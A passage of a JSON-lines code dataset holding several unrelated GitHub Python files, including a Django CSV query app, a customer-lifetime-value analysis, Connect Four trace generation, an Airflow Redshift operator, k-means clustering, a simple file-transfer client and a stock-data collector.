{}\".format(unsolved)) \n print(\"*************************************\") \n\n\n\n \n\n","repo_name":"JunmingZhang/CSC384","sub_path":"Assignment/A1/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":18476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26165330698","text":"from django.shortcuts import render, redirect, HttpResponse\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib import messages\nfrom django.urls import reverse_lazy\nfrom django.contrib.auth.decorators import login_required\nfrom django.conf import settings\nfrom django.db import connections\nfrom .models import csv_data, user\nfrom .forms import LoginForm\nimport pandas as pd\nfrom . import models\n\n@login_required\ndef csv_upload(request):\n if request.method == 'POST':\n csv_file = request.FILES.get('csv_file')\n\n if not csv_file:\n messages.error(request, \"No CSV file uploaded.\")\n return render(request, 'uploadata.html')\n\n try:\n with connections['default'].cursor() as cursor:\n cursor.copy_expert(f\"\"\"\n COPY {csv_data._meta.db_table}(\n company_data, name, domain, year_founded, industry,\n size_range, locality, country, linkedin_url,\n current_employee_estimate, total_employee_estimate\n )\n FROM STDIN WITH CSV HEADER DELIMITER ','\n \"\"\", csv_file)\n\n messages.success(request, \"CSV data uploaded successfully.\")\n return redirect('uploaddata')\n except Exception as e:\n messages.error(request, f\"Error while processing the CSV file: {str(e)}\")\n\n return render(request, 'uploadata.html')\n\n@login_required\ndef userdata(request):\n user1 = user.objects.all()\n return render(request, \"userdata.html\", {'user1': user1})\n\ndef user_login(request):\n if request.user.is_authenticated:\n return redirect(reverse_lazy(\"uploaddata\"))\n\n if request.method == \"POST\":\n username = request.POST.get(\"username\")\n password = request.POST.get(\"password\")\n user = authenticate(username=username, password=password)\n if user is not None:\n login(request, user)\n messages.success(request, \"Logged In successfully\")\n return redirect(reverse_lazy(\"uploaddata\"))\n else:\n messages.info(request, \"Invalid credentials\")\n return redirect(reverse_lazy(\"user_login\"))\n return render(request, \"login.html\")\n\n@login_required\ndef user_logout(request):\n logout(request)\n return render(request, 'login.html')\n\n@login_required\ndef useradd(request):\n if request.method == \"POST\":\n name = request.POST.get('username')\n email = request.POST.get('useremail')\n pas = request.POST.get('userpass')\n\n data = user(name=name, email=email, password1=pas)\n data.save()\n messages.success(request, \"User Added Successfully\")\n\n return redirect('userdata')\n return redirect('uploaddata')\n\nfrom .models import csv_data\n\ndef search_csv_data(query_params):\n queryset = csv_data.objects.all()\n\n if 'keyword' in query_params:\n keyword = query_params['keyword']\n queryset = queryset.filter(\n models.Q(company_data__icontains=keyword) |\n models.Q(name__icontains=keyword)\n )\n\n if 'industry' in query_params:\n queryset = queryset.filter(industry__icontains=query_params['industry'])\n\n if 'year_founded' in query_params:\n queryset = queryset.filter(year_founded=query_params['year_founded'])\n\n if 'city' in query_params:\n queryset = queryset.filter(locality__icontains=query_params['city'])\n\n if 'state' in query_params:\n queryset = queryset.filter(locality__icontains=query_params['state'])\n\n if 'country' in query_params:\n queryset = queryset.filter(country__icontains=query_params['country'])\n\n if 'employee_from' in query_params:\n queryset = queryset.filter(\n total_employee_estimate__gte=query_params['employee_from']\n )\n\n if 'employee_to' in query_params:\n queryset = queryset.filter(\n total_employee_estimate__lte=query_params['employee_to']\n )\n\n results = queryset.values()\n count = queryset.count()\n\n return results, count\n\n@login_required\ndef querybuilder(request):\n data = csv_data.objects.all().values('year_founded', 'industry', 'size_range', 'locality', 'country').distinct()\n\n message = \"\"\n\n if request.method == \"POST\":\n query_params = {\n 'keyword': request.POST.get('keyword'),\n 'industry': request.POST.get('industry'),\n 'year_founded': request.POST.get('year_founded'),\n 'city': request.POST.get('locality'),\n 'state': request.POST.get('locality'), # You mentioned 'state' and 'locality' in your previous question, so I'm assuming they both refer to 'locality'.\n 'country': request.POST.get('country'),\n 'employee_from': request.POST.get('employee_from'),\n 'employee_to': request.POST.get('employee_to'),\n }\n\n filtered_data, data_count = search_csv_data(query_params)\n\n message = f\"{data_count} data records found.\\n\\n\"\n\n messages.info(request, message)\n\n return render(request, 'quirybuilder.html', {'data': data})\n\n@login_required\ndef deletedata(request):\n data = csv_data.objects.all().delete()\n return HttpResponse(\"Data deleted\")\n","repo_name":"Shahnawazpathan/Querybuilder","sub_path":"catalyst_count_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6352754534","text":"import pandas as pd\nimport datetime as dt\nfrom lifetimes import BetaGeoFitter\nfrom lifetimes import GammaGammaFitter\n\npd.set_option('display.max_columns', None)\npd.set_option('display.width', 500)\n\n\n\ndff=pd.read_csv(\"flo_data_20k.csv\")\ndf=dff.copy()\n\n# Separate the data into 3 quartiles.\n# Normally 0.25,0.75 values are used but in this data frame the number of transaction and frequency values\n# are not extremely high. If I use regular box plot method I should change a lot of variables\n# I just want to get rid of some problematic values. I want to mask the problematic values.\ndef outlier_thresholds(dataframe, variable):\n quartile1 = dataframe[variable].quantile(0.01)\n quartile3 = dataframe[variable].quantile(0.99)\n interquantile_range = quartile3 - quartile1\n up_limit = quartile3 + 1.5 * interquantile_range\n low_limit = quartile1 - 1.5 * interquantile_range\n return low_limit, up_limit\n\n# Get the masked dataframe\ndef replace_with_thresholds(dataframe, variable):\n low_limit, up_limit = outlier_thresholds(dataframe, variable)\n dataframe.loc[(dataframe[variable] < low_limit), variable] = round(low_limit, 0)\n dataframe.loc[(dataframe[variable] > up_limit), variable] = round(up_limit, 0)\n\n\nreplace_with_thresholds(df,\"order_num_total_ever_online\")\nreplace_with_thresholds(df,\"order_num_total_ever_offline\")\nreplace_with_thresholds(df,\"customer_value_total_ever_online\")\nreplace_with_thresholds(df,\"customer_value_total_ever_offline\")\n\n\ndf[\"total_shopping\"] = df[\"order_num_total_ever_online\"]+df[\"order_num_total_ever_offline\"]\ndf[\"customer_value_total\"] = df[\"customer_value_total_ever_online\"]+df[\"customer_value_total_ever_offline\"]\n\n\ndate_columns = df.columns[df.columns.str.contains(\"date\")]\ndf[date_columns] = df[date_columns].apply(pd.to_datetime)\n\ndf[\"last_order_date\"].max()\nanalysis_date = dt.datetime(2021, 6, 1)\n\n# CLTV = BG/NBD Model * Gamma gamma submodel\ncltv_df = pd.DataFrame()\ncltv_df[\"customer_id\"] = df[\"master_id\"]\ncltv_df[\"recency_cltv_weekly\"] = ((df[\"last_order_date\"] - df[\"first_order_date\"]).astype('timedelta64[D]')) / 7\n# RECENCY: The number of weeks passed after the last order\n\ncltv_df[\"T_weekly\"] = ((analysis_date - df[\"first_order_date\"]).astype('timedelta64[D]'))/7\n# TANURE: The number of weeks passed after the first order\n\ncltv_df[\"frequency\"] = df[\"total_shopping\"]\n# FREQUENCY: The number of orders made\n\ncltv_df[\"monetary_cltv_avg\"] = df[\"customer_value_total\"] / df[\"total_shopping\"]\n# MONETARY: Average gain per order\n\n\nbgf = BetaGeoFitter(penalizer_coef=0.001)\n\nbgf.fit(cltv_df['frequency'],\n cltv_df['recency_cltv_weekly'],\n cltv_df['T_weekly'])\n\n# expected sales in three months\ncltv_df[\"exp_sales_3_month\"] = bgf.predict(4 * 3,\n cltv_df['frequency'],\n cltv_df['recency_cltv_weekly'],\n cltv_df['T_weekly'])\n\n# expected sales in six months\ncltv_df[\"exp_sales_6_month\"] = bgf.predict(4 * 6,\n cltv_df['frequency'],\n cltv_df['recency_cltv_weekly'],\n cltv_df['T_weekly'])\n\n\ncltv_df.sort_values(\"exp_sales_3_month\",ascending=False)[:10]\n\ncltv_df.sort_values(\"exp_sales_6_month\",ascending=False)[:10]\n\nggf = GammaGammaFitter(penalizer_coef=0.001)\n\ncltv_df[\"exp_average_value\"] = ggf.fit(cltv_df[\"frequency\"], cltv_df[\"monetary_cltv_avg\"])\n\ncltv = ggf.customer_lifetime_value(bgf,\n cltv_df['frequency'], cltv_df['recency_cltv_weekly'], cltv_df['T_weekly'], cltv_df['monetary_cltv_avg'],\n time=6,\n freq=\"W\",\n discount_rate=0.01)\n\ncltv_df[\"cltv\"] = cltv\n\n\ncltv_df.sort_values(\"cltv\",ascending=False)[:20]\n\n\ncltv_df[\"cltv_segment\"] = pd.qcut(cltv_df[\"cltv\"], 4, labels=[\"D\", \"C\", \"B\", \"A\"])\n\ncltv_df.groupby(\"cltv_segment\").agg([\"max\",\"mean\",\"count\"])\n\n\n\n\n\n\n\n\n","repo_name":"ezgiiii/Data-Analysis-Projects","sub_path":"CLTV_Analysis_Module2_2.py","file_name":"CLTV_Analysis_Module2_2.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"680319184","text":"import random\n\nimport numpy as np\n\nimport sys\nimport math\n\nROW_COUNT = 6\nCOLUMN_COUNT = 7\n\n\ndef create_board():\n board = np.zeros((ROW_COUNT, COLUMN_COUNT))\n return board\n\n\ndef drop_piece(board, row, col, piece):\n board[row][col] = piece\n\n\ndef is_valid_location(board, col):\n return board[ROW_COUNT - 1][col] == 0\n\n\ndef get_next_open_row(board, col):\n for r in range(ROW_COUNT):\n if board[r][col] == 0:\n return r\n\n\ndef print_board(board):\n print(np.flip(board, 0))\n\n\ndef is_game_over(board):\n for c in range(COLUMN_COUNT):\n if is_valid_location(board, c):\n return False\n return True\n\n\n\ndef winning_move(board, piece):\n # Check horizontal locations for win\n for c in range(COLUMN_COUNT - 3):\n for r in range(ROW_COUNT):\n if board[r][c] == piece and board[r][c + 1] == piece and board[r][c + 2] == piece and board[r][c + 3] == piece:\n return True\n\n # Check vertical locations for win\n for c in range(COLUMN_COUNT):\n for r in range(ROW_COUNT - 3):\n if board[r][c] == piece and board[r + 1][c] == piece and board[r + 2][c] == piece and board[r + 3][c] == piece:\n return True\n\n # Check positively sloped diaganols\n for c in range(COLUMN_COUNT - 3):\n for r in range(ROW_COUNT - 3):\n if board[r][c] == piece and board[r + 1][c + 1] == piece and board[r + 2][c + 2] == piece and board[r + 3][c + 3] == piece:\n return True\n\n # Check negatively sloped diaganols\n for c in range(COLUMN_COUNT - 3):\n for r in range(3, ROW_COUNT):\n if board[r][c] == piece and board[r - 1][c + 1] == piece and board[r - 2][c + 2] == piece and board[r - 3][c + 3] == piece:\n return True\n\nTRACES = set()\n\nwhile len(TRACES) < 10000:\n t = []\n board = create_board()\n #print_board(board)\n game_over = False\n turn = 1\n\n player_map = {1: \"A\", 2: \"B\"}\n column_options = list(range(COLUMN_COUNT))\n\n while not game_over:\n while True:\n col = random.choice(column_options)\n if is_valid_location(board, col):\n row = get_next_open_row(board, col)\n drop_piece(board, row, col, turn)\n t.append(player_map[turn] + str(row) + str(col))\n if not is_valid_location(board, col):\n column_options.remove(col)\n if winning_move(board, turn):\n game_over = True\n if is_game_over(board):\n game_over = True\n break\n #print_board(board)\n turn = 1 + (turn % 2)\n\n TRACES.add(tuple(t))\n if len(TRACES) % 10000 == 0:\n print(len(TRACES))\n\nimport csv\nwith open(\"data/connect4/connect4_traces_10k.csv\", \"w\") as file:\n writer = csv.writer(file)\n writer.writerows(TRACES)\n\n\n","repo_name":"tomyaacov/process_mining","sub_path":"connect_4.py","file_name":"connect_4.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3443904073","text":"from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\n#\n# -- OPERATOR INSERTS DATA INTO DIMENSION TALBES (artists, users, songs, time) from stageing_events & staging_songs\n#\nclass LoadDimensionOperator(BaseOperator):\n\n ui_color = '#80BD9E'\n\n @apply_defaults\n def __init__(self,\n # Define your operators params (with defaults) here\n # Example:\n redshift_conn_id = \"\",\n aws_credential_id = \"\",\n sql =\"\",\n target_table = \"\",\n append = \"\",\n *args, **kwargs):\n\n super(LoadDimensionOperator, self).__init__(*args, **kwargs)\n self.aws_credential_id = aws_credential_id\n self.redshift_conn_id = redshift_conn_id\n self.sql = sql\n self.target_table = target_table\n self.append = append\n \n def execute(self, context):\n aws_hook = AwsHook(self.aws_credentials_id)\n credentials = aws_hook.get_credentials()\n redshift_hook = PostgresHook(self.redshift_conn_id)\n #if (self.append == False): \n # drop_stm = f\"DROP TABLES {self.target_table}\"\n # redshift_hook.run(drop_stm)\n \n sql_stm = f\"INSERT INTO {self.target_table} {self.sql}\"\n redshift_hook.run(sql_stm)\n self.log.info('LoadDimensionOperator load dimension table {self.table}')\n","repo_name":"maggieortiz/Airflow_Songify_DataEngineering","sub_path":"plugins/operators/load_dimension.py","file_name":"load_dimension.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1793535276","text":"def CreateFile(bras: list, nomFichier: str):\n \"\"\" Création du fichier de sortie en fonction des paramètres fournis dans la liste de bras\n\n :param bras: Liste des bras créés par le programme \n \"\"\"\n\n with open(\"./output_files/\" + nomFichier + \".out\", \"w\") as fichier:\n # On écrit le nombre de bras à utiliser\n fichier.write(str(len(bras))+\"\\n\")\n total = 0\n\n # Pour chaque bras on va écrire 4 lignes :\n # Coordonnées du point de montage, nombre de tâches et nombres de mouvements\n # Liste des indices des tâches à effectuer\n # Liste des mouvements\n # Ligne vide de séparation\n for i in bras:\n for task in i.taskDone:\n total += task.nbpoint\n fichier.write(str(i.pm[0])+\" \"+str(i.pm[1])+\" \"+str(len(i.taskDone))+\" \"+str(len(i.movementsDone))+\"\\n\")\n for y in range(len(i.taskDone)):\n fichier.write(str(i.taskDone[y].indice)+\" \")\n fichier.write(\"\\n\")\n for j in range(len(i.movementsDone)):\n fichier.write(i.movementsDone[j]+\" \")\n fichier.write(\"\\n\")\n","repo_name":"Neltab/PolyHash","sub_path":"utils/output/output.py","file_name":"output.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26863458395","text":"data = open(\"input.txt\", \"r\", encoding=\"utf-8\").read().splitlines()\n\n# data = \"\"\"A Y\n# B X\n# C Z\"\"\".splitlines()\n\n# 1 rock\n# 2 paper\n# 3 scissors\n# 0 loss\n# 3 draw\n# 6 win\n\nscore = 0\nfor line in data:\n a, b = line.split()\n if b == \"X\": # lose\n score += 0\n if a == \"A\":\n score += 3\n elif a == \"B\":\n score += 1\n elif a == \"C\":\n score += 2\n\n elif b == \"Y\": # draw\n score += 3\n if a == \"A\":\n score += 1\n elif a == \"B\":\n score += 2\n elif a == \"C\":\n score += 3\n\n elif b == \"Z\": # win\n score += 6\n if a == \"A\":\n score += 2\n elif a == \"B\":\n score += 3\n elif a == \"C\":\n score += 1\n\nprint(score)\n","repo_name":"mindcrackx/aoc2022","sub_path":"day2/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15951325449","text":"import os\nfrom settings import *\nimport re\n\n\ndef starts_with_timestamp(line):\n pattern = re.compile(\"^(\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}:\\d{2})\")\n return bool(pattern.match(line))\n\n\ndef multiline_logs_processing(fpath):\n bracket_start = False\n bracket_log = \"\"\n outlines = []\n with open(fpath) as f:\n print(f'Processing {fpath}')\n lines = f.readlines()\n for line in lines:\n if starts_with_timestamp(line) and line.strip().endswith('{'):\n bracket_start = True\n if line.strip().startswith(\"}}''\"):\n bracket_start = False\n bracket_log += line\n if len(bracket_log.strip()) > 2:\n outlines.append(re.sub(r'\\n(?=[^{}]*})', '', bracket_log))\n bracket_log = \"\"\n if starts_with_timestamp(line) and not line.strip().endswith('{'):\n outlines.append(line)\n\n if bracket_start:\n bracket_log += line.strip()\n\n out_name = os.path.splitext(os.path.basename(fpath))[0]\n with open(os.path.join(LOGS_CSV_OUTPUT_DIR, f'{out_name}.txt'), \"w\") as f:\n f.writelines(outlines)\n\n\nif __name__ == '__main__':\n for fname in os.listdir(LOGS_INPUT_DIR):\n if fname.endswith('log'):\n fpath = os.path.join(LOGS_INPUT_DIR, fname)\n multiline_logs_processing(fpath)\n","repo_name":"pawelptak/AI-Anomaly-Detection","sub_path":"log_preprocessing/nsmc/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"24601674186","text":"class Menu:\n\n def mostrar(self):\n print(\"\\nSelecciona una opcion\")\n print(\"1.- Ver saldo actual\")\n print(\"2.- Ver historico de movimientos\")\n print(\"3.- Retirar saldo\")\n print(\"4.- Salir\")\n return self.validadorDeEntrada()\n\n def validadorDeEntrada(self):\n error = True\n while error:\n entrada = raw_input(\"Selecciona una opcion: \")\n if entrada.isdigit():\n if int(entrada) <= 4 and int(entrada) >= 1:\n error = False\n else:\n print(\"\\nOpcion no valida, ingresa un valor entre 1 y 4.\")\n else:\n print(\"\\nOpcion no valida, ingresa de nuevo\")\n \n return entrada","repo_name":"CarlosAlberto-code/ejercicio-cajero","sub_path":"Cajero python/Menu.py","file_name":"Menu.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3611076882","text":"import numpy as np\nimport scipy.spatial.distance as metric\n\ndef euclidean_dist(A, B):\n return metric.euclidean(A, B)\n\nclass K_Means:\n def __init__(self,k,data,centeriod_init=None):\n self.k = k\n self.data = data \n self.centeriod_init = centeriod_init\n \n def initialise_centroids(self,centeriod_init,k,data):\n ## 3 ways to initialize centroides\n if(self.centeriod_init == 'random'): \n initial_centroids = np.random.permutation(data.shape[0])[:self.k]\n self.centroids = data[initial_centroids]\n elif(self.centeriod_init == 'firstk'):\n self.centroids = data[:k]\n else:\n for i in range(self.k):\n self.centroids.append(i%self.k)\n return self.centroids \n \n def fit(self,data):\n m = np.shape(data)[0]\n cluster_assignments = np.mat(np.zeros((m,2)))\n \n cents = self.initialise_centroids(self.centeriod_init,self.k,data)\n \n # Preserve original centroids\n cents_orig = cents.copy()\n changed = True\n num_iter = 0\n \n while changed and num_iter<100:\n changed = False \n # for each row in the dataset\n for i in range(m):\n # Track minimum distance and vector index of associated cluster\n min_dist = np.inf\n min_index = -1 \n #calculate distance \n for j in range(self.k):\n dist_ji = euclidean_dist(cents[j,:],data[i,:])\n if(dist_ji < min_dist):\n min_dist = dist_ji\n min_index = j \n # Check if cluster assignment of instance has changed\n if cluster_assignments[i, 0] != min_index: \n changed = True\n\n # Assign instance to appropriate cluster\n cluster_assignments[i, :] = min_index, min_dist**2\n\n # Update centroid location\n for cent in range(self.k):\n points = data[np.nonzero(cluster_assignments[:,0].A==cent)[0]]\n cents[cent,:] = np.mean(points, axis=0)\n \n # Count iterations\n num_iter += 1\n #print(num_iter)\n\n # Return important stuff when done\n return cents, cluster_assignments, num_iter, cents_orig","repo_name":"juanchav/clustering_machine_learning","sub_path":"unsupervised/kmeans_2.py","file_name":"kmeans_2.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71310848573","text":"from socket import *\nimport os\nimport random\nimport log\nimport tcp\n\nsrc_port = \"KH\"\nmessage_number = 1\nmax_body_length = 700\n\n\ndef make_body_segment(hex_file_stream):\n words = []\n word_count = 0\n hexes_to_read = max_body_length if len(hex_file_stream) >= max_body_length else len(hex_file_stream)\n\n hex_stream_to_read = hex_file_stream[0:hexes_to_read]\n residual_hex_stream = hex_file_stream[hexes_to_read:]\n\n # The stream is a string of hexes. Time to decode them\n # To make things easier, make chunks of 8 hexes\n while hexes_to_read > 0:\n # Actually reading chunks\n\n hex_read = 8 if hexes_to_read >= 8 else hexes_to_read\n\n start = 8 * word_count\n new_word = hex_stream_to_read[start:start + hex_read]\n #print(\"Hex read: \" + str(hex_read))\n #print(\"Hex fragment: \" + new_word)\n\n # Converting string hex into a number of 32 bits\n new_word = int(new_word, 16) << (32 - (4 * hex_read))\n #print(\"Transformed Hex fragment: \" + hex(new_word))\n\n words += [new_word]\n\n # Updating auxiliary variables\n word_count += 1\n hexes_to_read -= 8\n #print(\"Old\")\n return residual_hex_stream, words\n\n\n# Extract the filename's bytes, then read chunks of 730 bytes.\n# Then for each chunk, all the 32 bit words are made\n# TL;DR: Get filename, return each body segment to send\ndef make_file_hex_stream(filename):\n hex_file_stream = \"\"\n if filename is not None:\n batch_size = 2048 # Read in chunks of 4 bytes (aka, 32 bit words)\n with open(\"./files/\" + filename, \"rb\") as file:\n arr = bytearray()\n while True:\n piece = file.read(batch_size) # Read a word\n if piece == b'':\n break\n\n arr.extend(piece)\n\n #print(\"Byte Array: \")\n #print(arr)\n hex_file_stream = arr.hex()\n #print(\"As Hex Stream: \" + hex_file_stream)\n file.close()\n return hex_file_stream\n\n\ndef handshake(logger, udpsocket, address):\n # Send SYN\n logger.log_this(\"Establishing connection...\")\n logger.log_this(\"Starting 3 way Handshake\")\n seq = 1\n header = tcp.make_tcp_header_words(src_port, \"--\", seq, 0, tcp.SYN)\n #print(header)\n segment = tcp.encode_segment(header, [])\n\n # Send and get ACK + SYN\n header_fields, body_response = [], []\n while True:\n logger.log_this(\"Sending SYN. SEQ = \" + str(seq) + \". Expected ACK: \" + str(seq+1))\n header_fields, body_response = tcp.send(logger, udpsocket, address, seq+1, segment, tcp.NONE)\n #if (header_fields[5] & (tcp.ACK | tcp.SYN)) > 0 and ((seq + 1) == header_fields[3]):\n if (header_fields[2] == 1) and (header_fields[3] == 2):\n logger.log_this(\"ACK Received. Destination port identified: \" + header_fields[0])\n break\n else:\n logger.log_this(\"Received a wrong response, resending\")\n\n # Send ACK\n seq += 1\n header = tcp.make_tcp_header_words(src_port, header_fields[0], seq, header_fields[2] + 1, tcp.ACK)\n segment = tcp.encode_segment(header, [])\n\n # Probably should make a new loop in case the server does not receive the ACK... eh\n logger.log_this(\"Enviando ACK. SEQ =\" + str(seq))\n tcp.send_ack(logger, udpsocket, address, segment, tcp.NONE)\n\n logger.log_this(\"Handshake complete. Connection established.\")\n return header_fields[0]\n\n\ndef send_file_extension(logger, tcpsocket, destiny_port, address, files):\n # ------------------------ ASK FILE\n\n print(\"Select what file to send\")\n for i in range(len(files)):\n print(str(i+1) + \".\\t\" + files[i])\n\n filename_to_send = \"\"\n while True:\n option = int(input(\"Your option: \\t\"))\n if option < 1 or option > len(files):\n print(\"Select a valid option\")\n continue\n else:\n filename_to_send = files[option-1]\n logger.log_this(\"Selected \" + files[option-1] + \" to send.\")\n break\n\n # Encoding filename\n filename_chars = [ord(c) for c in filename_to_send]\n #print(filename_chars)\n num_body_words = (len(filename_chars)//4) + (1 if len(filename_chars)%4 > 0 else 0)\n body_words = []\n for i in range(num_body_words):\n body_words += [0x00000000]\n for j in range(4):\n if len(filename_chars) == 0:\n break\n body_words[i] = tcp.do_word(body_words[i], filename_chars.pop(0) & 0x000000FF, 8 * (3 - j))\n\n #print(\"Encoded filename: \")\n #print(body_words)\n\n # ----------------------- SEND FILENAME\n\n seq = 50\n header = tcp.make_tcp_header_words(src_port, destiny_port, seq, 0, tcp.PUSH)\n segment = tcp.encode_segment(header, body_words)\n\n # Send and get ACK\n header_fields, body_response = [], []\n while True:\n logger.log_this(\"Sending filename: '\" + filename_to_send + \"'. SEQ = \" + str(seq) + \". Expected ACK: \" + str(seq + 1))\n header_fields, body_response = tcp.send(logger, tcpsocket, address, seq + 1, segment, tcp.NONE)\n if header_fields[3] == 51:\n logger.log_this(\"ACK Received. Proceeding to sending the file contents.\")\n break\n else:\n logger.log_this(\"Received wrong ACK: \" + str(header_fields[3]) + \", resending\")\n return filename_to_send\n\n\ndef end(logger, tcpsocket, destiny_port, address):\n logger.log_this(\"Terminating connection...\")\n\n seq = 20\n header = tcp.make_tcp_header_words(src_port, destiny_port, seq, 0, tcp.FIN)\n # print(header)\n segment = tcp.encode_segment(header, [])\n\n # Send and get ACK + FIN\n header_fields, body_response = [], []\n while True:\n logger.log_this(\"Sending FIN. SEQ = \" + str(seq) + \". Expected ACK: \" + str(seq + 1))\n header_fields, body_response = tcp.send(logger, tcpsocket, address, seq + 1, segment, tcp.NONE)\n #if ((header_fields[5] & (tcp.ACK | tcp.FIN)) > 0) and ((seq + 1) == header_fields[3]):\n if 21 == header_fields[3]:\n logger.log_this(\"ACK Received. Sever terminating connection too\")\n # Send ACK\n seq += 1\n header = tcp.make_tcp_header_words(src_port, destiny_port, seq, header_fields[2] + 1, tcp.NONE)\n segment = tcp.encode_segment(header, [])\n\n # Probably should make a new loop in case the server does not receive the ACK... eh\n logger.log_this(\"Enviando ACK. SEQ =\" + str(seq))\n tcp.send_ack(logger, tcpsocket, address, segment, 2)\n break\n else:\n logger.log_this(\"Received wrong ACK: \" + str(header_fields[3]) + \", resending\")\n\n\n logger.log_this(\"Connection terminated successfully...\")\n pass\n\n\ndef client_run(logger):\n logger = logger\n\n # Host (URL/IP)\n host = input(\"Provide Host:\\t\")\n #host = \"127.0.0.1\"\n # Port Number\n port = int(input(\"Provide a valid Port Number:\\t\"))\n #port = 8080\n while (port < 0) or (port > 65535): port = int(input(\"Provide a valid Port Number:\\t\"))\n address = (host, port)\n\n # ---------------------------\n\n # Socket Creation\n tcpsocket = socket(family=AF_INET, type=SOCK_STREAM)\n tcpsocket.connect(address)\n tcpsocket.settimeout(tcp.RTT)\n logger.log_this(\"Client is ready\")\n\n # --------------------------- HANDSHAKE\n\n dst_port = handshake(logger, tcpsocket, address)\n\n\n # --------------------------- SEND FILE EXTENSION\n # Ask what file to send\n file_list = [\"test.txt\", \"5KB.txt\", \"500B.jpg\", \"1KB.jpg\", \"2KB.jpg\", \"5KB.jpg\", \"Pew.mp3\", \"genial.png\"]\n filename = send_file_extension(logger, tcpsocket, dst_port, address, file_list)\n\n # --------------------------- READ FILE\n\n logger.log_this(\"Reading file: \" + filename)\n stream_to_send = make_file_hex_stream(filename) # Get all the file encoded in 32 bit words\n\n # --------------------------- SEND FILE\n\n sequence = 51\n segment_number = 1\n logger.log_this(\"Starting file transfer...\")\n\n while len(stream_to_send) > 0:\n # Make body segments here\n stream_to_send, body_words = make_body_segment(stream_to_send)\n\n # Create header\n segment_header_words = tcp.make_tcp_header_words(src_port, dst_port, sequence, 0, tcp.NONE)\n segment = tcp.encode_segment(segment_header_words, body_words)\n\n # Send here\n tcp.send(logger, tcpsocket, address, sequence + 1, segment, segment_number)\n sequence += + 1\n segment_number += 1\n\n logger.log_this(\"Transfer done\")\n # --------------------------- END CONNECTION\n\n end(logger, tcpsocket, dst_port, address)\n tcpsocket.close()\n","repo_name":"KevinHern/CC8-Project1","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":8624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13321374382","text":"import cv2\nimport multiprocessing\nimport numpy as np\ncap = cv2.VideoCapture(0)\nwhile (cap.isOpened()):\n ret, image= cap.read()\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n blurred = cv2.GaussianBlur(gray, (11,11),0)\n thresh = cv2.threshold(blurred, 200, 255, cv2.THRESH_BINARY)[1]\n inpainted =cv2.inpaint(image, thresh, 25, cv2.INPAINT_TELEA)\n cv2.imshow('anhmoi', inpainted)\n if cv2.waitKey(25) & 0xFF == ord('q'):\n break\n\ncap.release()\ncv2.destroyAllWindows()","repo_name":"ngocmia/opencv","sub_path":"removing_glare.py","file_name":"removing_glare.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"69905412414","text":"from yahoofinancials import YahooFinancials\nimport csv\nimport datetime\nimport os\n\n\"\"\"\nIMPORTANT\n\nMust first run the program \"getStockTickers\" in order to have a file named \"tickers.txt\" in the directory\n\"\"\"\n\n\n# stock tickers that have no data\ndef collectData():\n not_working = [\"ZAZZT\", \"ZBZZT\", \"ZXYZ.A\", \"BRPM.U\", \"CBX\", \"FPAC.W\", \"GIG.R\", \"GIG.W\", \"GIX.U\", \"GRAF.U\", \"GSAH.W\",\n \"GXGX\",\"IAA.V\", \"IBO\", \"IGZ\", \"LGC.U\", \"LGC.W\", \"MFAC.W\", \"MOSC.U\", \"NTEST.C\", \"PVT.U\", \"PVT.W\",\n \"RMG.W\", \"SHLL.U\", \"SPAQ.U\", \"TRNE.W\", \"TRNO\", \"VST.A\", \"ZTEST\", \"GIX.R\", \"GIX.W\", \"SMMC\", \"JW.B\",\n ]\n\n # stock tickers that have a '.' but who's YahooFinancials call requires a '-' instead\n not_right = [\"AGM.A\", \"AKO.A\", \"AKO.B\", \"BF.A\", \"BF.B\", \"BH.A\", \"BIO.B\", \"BRK.A\", \"BRK.B\", \"BWL.A\", \"CBS.A\", \"CRD.A\",\n \"CRD.B\", \"CWEN.A\", \"GEF.B\", \"GTN.A\", \"HEI.A\", \"HVT.A\", \"JW.A\", \"MKC.V\", \"MOG.A\", \"MOG.B\", \"STZ.B\",\n \"TAP.A\", \"WSO.B\"]\n\n start_date = \"2019-01-01\"\n end_date = datetime.date.today().__str__()\n\n if not os.path.exists('data'):\n os.mkdir('data')\n\n for ticker in open(\"tickers.txt\"):\n ticker = ticker.strip('\\n')\n\n if ticker in not_right:\n ticker = ticker.replace('.', '-')\n\n # if ticker has no data. All tickers that begin with 'ATEST' or 'CTEST' have no data\n if ticker in not_working or ticker[:5] == \"ATEST\" or ticker[:5] == \"CTEST\":\n continue\n\n # collect historical data for ticker\n financials = YahooFinancials(ticker)\n data = 